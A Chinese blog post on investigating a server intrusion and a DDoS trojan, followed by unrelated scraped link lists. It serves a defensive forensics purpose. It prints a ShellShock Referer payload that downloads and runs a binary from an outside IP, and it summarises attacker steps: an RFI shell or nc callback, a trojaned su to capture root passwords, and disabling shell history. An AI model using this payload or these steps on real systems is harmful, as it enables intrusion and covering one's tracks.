以下内容的出现可以追溯到一个发生在互联网的安全事件:

  Z公司遭受某种攻击,服务器上被植入了Linux DDOS木马,部分系统命令入ls遭替换,攻击者已经获得该服务器root权限;

  影响更恶劣的是,连接生产系统的某台数据库服务器遭到攻击,部分数据被删除,好在通过备份数据及时得到恢复,不过现场已被破坏。

  先撇开木马不谈,数据库被攻击首先让人联想到的是SQL注入,由于现场被破坏,数据库本身也没有开审计,加上其他种种原因,已无法觅得具体攻击时间和操作。

  一段悲伤的故事就这么开始了,就像行走在黑暗中遭到攻击,却不知道攻击来自哪里,处境被动。

  前端服务器采用Nginx+Tomcat分层架构,按说要溯源攻击只能从Web服务器的日志着手了。

  情况简单介绍:

  1. 前端请求都由Nginx处理,Tomcat日志对于攻击事件的分析并没有什么作用(但还是在上面花了不少时间)。

  2. Nginx记录了GET、POST甚至HEAD请求,但未记录POST数据,因此如果攻击数据来自POST,日志无法提供帮助。

  3. 从Nginx的日志能发现SQL注入、XSS攻击的请求,User-Agent为googlebot、SQLmap,明显的扫描操作;返回状态码包括301,403,404,乍看之下联合查询、子查询甚至精确到了表名、列数,但这些请求每天都有,而且针对数据库是Mysql。

  4. 从这些日志中无法发现有用信息,在这次的入侵分析中还存在其他问题:

    a. 现场被破坏

    b. 攻击时间范围无法确定

    c. 运维不知道哪些服务器连接哪些数据库,没法帮助缩小分析范围或提供其他有价值信息

    d. 临时连到服务器上,只能通过grep、awk等工具进行关键字匹配搜索,多台服务器(每台每天的日志信息大小10G数量级)手工分析效率低下

    e. 知易行难,缺乏经验导致未能尽快取得有效进展;A公司缺乏负责处理安全事件的专员,在沟通协商方面造成了影响

    f. 对其网站花了点时间进行安全测试,并未发现明显安全问题(包括注入点),同样花费了时间却未取得进展。

  这种毫无进展的情况是让人很受挫的,后来考虑从木马入手,稍微有所发现,这个等会再谈。

  脑补了一下入侵分析和入侵取证方面的知识,发现相关资料并不多,如下两段内容具有相当的借鉴和参考意义:

  (1). 反入侵案例

  链接: https://www.91ri.org/155.html
 
  说明:
 
1. IDS警报,Apache受到攻击,来源IP仅开放22、80端口,推测是作为跳板的Web服务器
2. www.myipneighbors.com查该IP对应的域名,google搜索inurl:domain.com,逐个页面检查
3. IP对应域名太多,攻击手段表明再寻找RFI,如果是跳板服务器则很可能也是通过RFI得手
4. 将搜集到的URL放入文本中,通过程序来检测这些链接
5. 找到存在RFI且能执行php代码和系统命令的
6. 利用RFI上传shell或nc回连
7. 利用shell获取到普通用户的用户名/密码
8. 无提权0day/nday,观察history得知管理员常通过该账户su到root
9. 替换su获取root密码,在获取到密码后链接到真实的su,同时清除痕迹
10. HISTFILE=/dev/null避免命令被记录;access_log auth.log
11. 服务器群  /root/.ssh 记录公钥、私钥文件  scp复制文件
 
  (2). 入侵取证案例
 
  链接:http://blog.chinaunix.net/uid-26893610-id-4150880.html
 
  说明:
 
1. 检查步骤
     a.服务器操作系统版本信息——>操作系统补丁安装情况——>操作系统安装时间/中间有没有经过进行重新安装——>服务器维护情况—— >服务器上面安装的软件版本信息
     b.日志检查——IDS日志信息/IIS日志信息/系统日志信息
     c.网站代码审查——是否存在一句话木马,源代码上是否存在恶意代码插入
     d.杀毒软件版本更新情况——是否是最新版本,配置的是否合理,配套的监视是否全部打开
     e.数据恢复——>利用专用数据恢复软件进行数据恢复,恢复一些被删除的日志信息和系统信息,曾经安装过的文件操作信息。
     f.提取可疑文件(病毒、木马、后门、恶意广告插件)——在系统文件目录利用第三方或者自开发软件,对可疑文件进行提取并进行深度分析
 
2. 对原始数据恢复:Datarecover恢复被删除文件,希望找到木马、病毒
3. 手工分析可疑软件:sethc..exe, 真实大小应为27kb
4. 防火墙查看网络连接,查看日志
5. GET会被记录,系统级后面可以用冰刃(IceSword)、SREng(System Repair Engineer)分析可疑文件
6. 通过日志查找Webshell;是否有克隆账户(注册表sam文件是否有相同fv);系统安装日志;IIS访问日志;首页源代码
    其他包括日志分析、取证的文章这里不再提及,感兴趣的可以自行搜索。
  这里再提几个主意事项:
  (1)系统被入侵后,系统命令不再可靠 ,find, alias, ls, ps ,lsof, ll, netstat等可能已被替换(Z公司遇到的木马替换了ls,lsof,ps)
  (2) 可取证的日志包含如下特征:可靠性、可用性、保密性、完整性、不可抵赖性、可控性 ,若做不到,就无法作为数字证明;日志需要实时备份,各个环节存日志

  其余不完善之处,以后遇到会更新并补充

 

  接下来是关于木马的内容,由于这个木马并不是高深的rootkit,所以不需利用chrootkit或者其他高明手段就可以检测到其备份,找到系统中的其他样本。

  攻击者走的是简单粗暴路线,事情的确简化不少。

  关于rootkit的分析,可以看一下 Linux下基于内存分析的Rootkit检测方法 ,另外在使用chrootkit等工具时也不要对其产生过多依赖,原因可以参考:

  聊一聊chkrookit的误信和误用

  运行这个木马,使用Wireshark抓包,很快就看到了明显的"蛛丝马迹",一些细节这里不再赘述

  http://zone.wooyun.org/content/21251有简单说明,也由此引出kibana这个日志分析工具

  http://www.cnblogs.com/buzzlight/p/logstash_elasticsearch_kibana_log.html一文对其的介绍不错

  由于之前无数次与恶意软件擦身而过——是的,它很有意思,但跟我有什么关系呢,加上此次的恶意软件样本已经有现成的分析        (http://cybertracker.malwarehunterteam.com/malicious/296 ),因此关于该木马也不再多做说明,只简要描述下从中得到的信息:

来自中国大陆的DDOS木马,编译于2014年11月,约ShellShock曝光两月后(利用的正是这一漏洞,远程执行任意代码)。有若干变种,2015年1月已有相关样本被捕获,作为C&C分发端,通过wget从服务器的911端口下载恶意文件并执行,例如:

Referer: () { :; }; /bin/bash -c "rm -rf /tmp/*;echo wget http://61.160.212.172:911/java -O /tmp/China.Z-jgte >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-jgte >> /tmp/Run.sh;echo /tmp/China.Z-jgte >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh" 

  到这里其实都算不上有多少技术含量(当然能否做好入侵分析和取证跟经验有较大关系),不过为此事的后续处理提供了一种新的可能和思路:

  数据库被攻击,SQL注入当然只是一只一种可行的方式,其他情况如运维的误操作、前端服务器由于某种原因被控制等都是可能的。

  由于几个主要网站无明显安全问题,自然就得从其他角度或方向进行挖掘,虽然这事情目前还没有厘清,是否通过ShellShock控制的服务器也还未确认,起码让我们认识到了预期之外的可能和攻击面,而这也许就是关键突破口。

  待续。。。。

  ========================

  关于Malware,推荐几个网站:

  http://blog.malwaremustdie.org

  http://malware-traffic-analysis.net

  http://cybertracker.malwarehunterteam.com

  ========================

When it comes to intrusion analysis and forensics的更多相关文章

  1. Intrusion Analysis Learning

    目录 . 入侵分析简介 . 基于日志的入侵分析技术 . 入侵分析CASE . 入侵分析CASE . 入侵分析CASE . 入侵分析CASE 1. 入侵分析简介 Windows 清除日志的方法 wmic ...

  2. (转) [it-ebooks]电子书列表

    [it-ebooks]电子书列表   [2014]: Learning Objective-C by Developing iPhone Games || Leverage Xcode and Obj ...

  3. (转)Awesome Courses

    Awesome Courses  Introduction There is a lot of hidden treasure lying within university pages scatte ...

  4. Real Time Credit Card Fraud Detection with Apache Spark and Event Streaming

    https://mapr.com/blog/real-time-credit-card-fraud-detection-apache-spark-and-event-streaming/ Editor ...

  5. Automated Memory Analysis

    catalogue . 静态分析.动态分析.内存镜像分析对比 . Memory Analysis Approach . volatility: An advanced memory forensics ...

  6. malware analysis、Sandbox Principles、Design && Implementation

    catalog . 引言 . sandbox introduction . Sandboxie . seccomp(short for secure computing mode): API级沙箱 . ...

  7. [计算机取证技术] VDI-in-a-Box Analysis Results

    原文跳转: http://dig4n6.blogspot.tw/2013/07/vdi-in-box-analysis-results.html *文中引用图片如无法浏览,请科学上网* VDI-in- ...

  8. Analysis of requirement specification of parking management system

    Analysis of requirement specification of parking management system PURPOSE OF THE SYSTEM The parking ...

  9. Why many EEG researchers choose only midline electrodes for data analysis EEG分析为何多用中轴线电极

    Source: Research gate Stafford Michahial EEG is a very low frequency.. and literature will give us t ...

随机推荐

  1. 【python之路4】循环语句之while

    1.while 循环语句 #!/usr/bin/env python # -*- coding:utf-8 -*- import time bol = True while bol: print '1 ...

  2. Struts的拦截器

    Struts的拦截器 1.什么是拦截器 Struts的拦截器和Servlet过滤器类似,在执行Action的execute方法之前,Struts会首先执行Struts.xml中引用的拦截器,在执行完所 ...

  3. 前端移动App开发环境搭建

    移动App开发环境安装 一.环境安装准备软件 二.node的安装 像安装普通软件一样,安装对应版本的node软件,安装好之后就可以运行npm命令行,比如npm init .npm install -g ...

  4. asp.mvc + easyui 动态列

    废话不多说,直接上代码: @model Huacisoft.Model.Crm_Sys_Role @{ Layout = null; } <!DOCTYPE html PUBLIC " ...

  5. JavaScript语言精粹--执行环境及作用域,this

    1.执行环境定义了变量或函数有权访问的其他数据,决定了他们各自的行为. 每个执行环境都有一个与之关联的变量对象,环境中定义的所有变量和函数都保存在这个对象中. 虽然我们无法访问,但是解析器在处理数据时 ...

  6. Happy New Year 2016

    大学之前的时间都是按天来过的,期盼着一天一天地快快长大,期盼着过年穿新衣,阖家团聚,其乐融融: 大学的时间都是按周来过的,根据每周的课表周而复始,虽然单调但也是自由自在,简单充实: 刚工作的几年时间是 ...

  7. JavaScript 中对变量和函数声明的“提前”

    变量声明“被提前” JavaScript 的语法和 C .Java.C# 类似,统称为 C 类语法.有过 C 或 Java 编程经验的同学应该对“先声明.后使用”的规则很熟悉,如果使用未经声明的变量或 ...

  8. EntityFramework.Extended 实现 update count+=1

    在使用 EF 的时候,EntityFramework.Extended 的作用:使IQueryable<T>转换为update table set ...,这样使我们在修改实体对象的时候, ...

  9. 强大的图片加载框架Fresco的使用

    前面在卓新科技有限公司实习的时候,在自己的爱吖头条APP中,在图片异步加载的时候和ListView的滑动中,总会出现卡顿,这是因为图片的缓存做的不是足够到位,在项目监理的帮助下,有使用Xutils框架 ...

  10. 新年抢红包效果(New Year Red Packet)

    新年抢红包效果(New Year Red Packet) 晓娜的文章(微信公众号:migufe) 2016即将过去,我们将迎来新的一年2017,这里小编提前祝大家新年快乐!万事如意!那我们新年最开心的 ...